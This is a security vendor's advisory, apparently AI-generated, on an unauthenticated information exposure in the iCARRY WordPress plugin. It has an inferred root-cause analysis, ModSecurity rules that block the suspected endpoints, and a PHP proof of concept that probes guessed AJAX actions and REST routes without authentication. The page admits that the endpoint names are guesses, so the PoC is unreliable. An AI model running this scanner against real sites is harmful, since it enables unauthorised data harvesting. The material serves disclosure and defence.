Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66463: iCARRY <= 2.9 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Plugin icarry
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.9
Patched Version —
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66463 (metadata-based):

The iCARRY WordPress plugin, versions up to and including 2.9, exposes sensitive information to unauthenticated attackers. The vulnerability is classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) with a CVSS score of 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N). This means a remote attacker with no privileges and no user interaction can retrieve confidential data, though the confidentiality impact is limited. No patched version is available, so all deployments are at risk.

Root Cause: The plugin fails to enforce proper authorization and nonce checks on at least one data-returning endpoint. Because the CVE description does not specify the exact endpoint or code path, Atomic Edge analysis infers the root cause from the CWE and the WordPress plugin context. The vulnerable component likely responds to unauthenticated requests (e.g., a public AJAX action, a REST route, or a direct PHP file) and returns user or configuration details without verifying the caller’s identity or capability. The absence of a capability check (current_user_can) and nonce verification (check_ajax_referer or wp_verify_nonce) is the probable flaw. These conclusions are inferred from the CWE classification and the “unauthenticated” qualifier in the description, not confirmed from a code diff.

Exploitation: An attacker sends a crafted HTTP request to a plugin endpoint that lacks authentication. Based on common WordPress patterns for slug “icarry”, likely vectors include: (1) GET or POST to /wp-admin/admin-ajax.php with action set to an iCARRY-specific hook (e.g., icarry_get_data, icarry_export, icarry_settings); (2) GET to /wp-json/icarry/v1/ or a similar namespace; or (3) direct access to a PHP file under /wp-content/plugins/icarry/. The request requires no cookies or nonce. The response contains sensitive data such as user lists, email addresses, API keys, or plugin configuration. Atomic Edge research cannot confirm the exact parameter names without source code, but the attack surface is an unauthenticated data-returning endpoint. The CVSS vector (PR:N, UI:N, AC:L) confirms that the exploit is trivial and requires no special conditions.

Remediation: The fix requires adding proper authorization and nonce checks to the vulnerable endpoint. For AJAX handlers, the plugin must call check_ajax_referer and current_user_can before returning any data. For REST routes, the permission_callback must validate user capabilities. For direct file access, the plugin should guard with defined(‘ABSPATH’) or remove public access. Since no patched version exists, site owners must disable the plugin or apply a virtual patch at the WAF layer. Atomic Edge recommends treating all iCARRY endpoints as untrusted until a patch is released.

Impact: Successful exploitation exposes sensitive user and configuration data, which can include email addresses, usernames, API tokens, or internal settings. This information enables follow-on attacks such as phishing, credential stuffing, or privilege escalation if secrets are leaked. The CVSS confidentiality rating is Low (C:L), meaning the exposed data is limited in scope, but the lack of authentication makes the vulnerability easy to exploit at scale. Integrity and availability are not affected.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66463 (metadata-based)
# Blocks unauthenticated access to iCARRY AJAX actions and REST routes.
# The exact action/route names are inferred from the plugin slug and CWE.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202666463,phase:2,deny,status:403,chain,msg:'CVE-2026-66463 iCARRY unauthenticated information exposure via AJAX',severity:'CRITICAL',tag:'CVE-2026-66463'"
  SecRule ARGS_POST:action "@rx ^icarry_(get_data|export|settings|info|list)$" "t:lowercase"

SecRule REQUEST_URI "@beginsWith /wp-json/icarry/" 
  "id:202666464,phase:2,deny,status:403,msg:'CVE-2026-66463 iCARRY unauthenticated information exposure via REST API',severity:'CRITICAL',tag:'CVE-2026-66463'"

SecRule REQUEST_URI "@rx ^/wp-content/plugins/icarry/.*.php$" 
  "id:202666465,phase:2,deny,status:403,msg:'CVE-2026-66463 iCARRY direct PHP access for information exposure',severity:'CRITICAL',tag:'CVE-2026-66463'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66463 - iCARRY <= 2.9 - Unauthenticated Information Exposure

// This PoC probes common unauthenticated data endpoints in the iCARRY plugin.
// Assumptions: the plugin slug 'icarry' maps to AJAX actions and/or REST routes.
// No source code diff is available, so the exact endpoint is inferred from the CWE.

$target_url = 'http://example.com'; // Change to the target WordPress site

// List of candidate AJAX actions and REST routes based on plugin slug.
$ajax_actions = [
    'icarry_get_data',
    'icarry_export',
    'icarry_settings',
    'icarry_info',
    'icarry_list',
];

$rest_routes = [
    '/wp-json/icarry/v1/data',
    '/wp-json/icarry/v1/settings',
    '/wp-json/icarry/v1/users',
    '/wp-json/icarry/v1/info',
];

function fetch($url, $post = null) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    if ($post !== null) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post));
    }
    $response = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return [$code, $response];
}

// 1. Probe AJAX endpoints without authentication.
foreach ($ajax_actions as $action) {
    $url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
    list($code, $body) = fetch($url, ['action' => $action]);
    echo "[AJAX] action=$action -> HTTP $coden";
    if ($code == 200 && strlen($body) > 0) {
        echo "Response (first 500 bytes): " . substr($body, 0, 500) . "n";
    }
}

// 2. Probe REST routes without authentication.
foreach ($rest_routes as $route) {
    $url = rtrim($target_url, '/') . $route;
    list($code, $body) = fetch($url);
    echo "[REST] $route -> HTTP $coden";
    if ($code == 200 && strlen($body) > 0) {
        echo "Response (first 500 bytes): " . substr($body, 0, 500) . "n";
    }
}

echo "Done. Review any 200 responses for sensitive data exposure.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.